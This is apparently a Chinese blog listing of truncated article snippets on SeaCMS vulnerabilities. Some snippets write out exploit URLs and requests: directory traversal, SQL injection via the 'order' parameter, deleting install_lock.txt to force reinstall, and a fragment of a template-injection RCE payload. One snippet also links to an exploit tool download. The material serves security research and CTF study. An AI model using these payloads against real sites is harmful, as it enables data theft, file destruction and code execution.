seacms6.64目录遍历链接：http://172.16.173.249/seacms6.64/upload/admin/admin_template.php?path=../templets/../../
原创
2018-09-19 16:45:25
6476阅读
点赞
1评论
SeaCMS6.64sql注入请求数据包：order参数存在sql注入GET/seacms6.64/upload/admin/admin_video.php?repeat=ok&order=v_name&allrepeat=ok'HTTP/1.1Host:172.16.173.249User-Agent:Mozilla/5.0(Macintosh;IntelMacOSX10
原创
2018-09-19 16:47:23
6627阅读
点赞
seacms任意文件删除http://172.16.173.242/seacms6.64/upload/admin/admin_template.php?action=del&filedir=../templets/../install/install_lock.txt可以控制filedir参数进行任意文件删除删除install/install_lock.txt文件，然后可以重装seacm
原创
2018-09-19 17:03:34
10000+阅读
点赞
SeaCms6.4.5存在远程代码执行漏洞。 注：工具地址 更新4.2版本 链接：https://pan.baidu.com/s/1j-dMtJYiOk2Pfo7QoEXHMA 提取码：rw8l https://wws.lanzous.com/b01zycnta 密码:g3uz 开发手册地址：htt ...
转载
2021-02-28 11:39:00
690阅读
2评论
文章目录写在前面漏洞演示漏洞点分析写在前面考虑到是后台，且后台目录随机，
原创
2022-12-28 18:52:24
331阅读
在Web攻防中，SQL注入就是一个技能繁杂项，为了帮助大家能更好的理解和掌握，今天小编将要跟大家分享一下关于Seacms 8.7版本SQL注入分析的内容，一定要认真学习哦。
转载
2020-03-25 15:26:00
132阅读
2评论
i春秋邀你加入强化训练营
快速摆脱SQL注入问题困扰
转载
2019-04-02 17:50:00
42阅读
2评论
临近9月底，seacms官方升级海洋cms系统到9.95版本，我们在对其源码进行网站检测的时候发现问题，可导致全局变量被覆盖PP端等多个用户...
原创
2022-07-15 10:08:23
49阅读
最近开始学习php审计，刚好赶上研究seacms，就发现了payload处一个奇怪的点searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{s
原创
2017-10-22 01:13:08
786阅读
点赞
https://www.ichunqiu.com/battalion?t=1&r=0这道题还是蛮不错的，下面我来说一下解题思路首先进入题目链接，然后搜索seacms相关漏洞，我直接使用了百度出来的第一条，freebuf上的一篇文章： http://www.freebuf.com/vuls/150042.html漏洞利用方式如下： 我们把eval改成system，把9[]...
原创
2021-06-29 13:48:02
557阅读
分享Python采集55个PHP影音娱乐源码，总有一款适合您 Gxlcms有声小说 V1.1.4.20150619Seacms海洋影视管理系统 V5.8淘乐云点播 V1.0心雨电台 V1.0飞飞影视Cms系统 V3.0 Bulid20150416苹果CMS手机版整站 V7.X Bulid2015.1.30飞飞二次开发SEO版本 V1.0飞飞大气简洁蓝色模板 V2.8前卫音乐
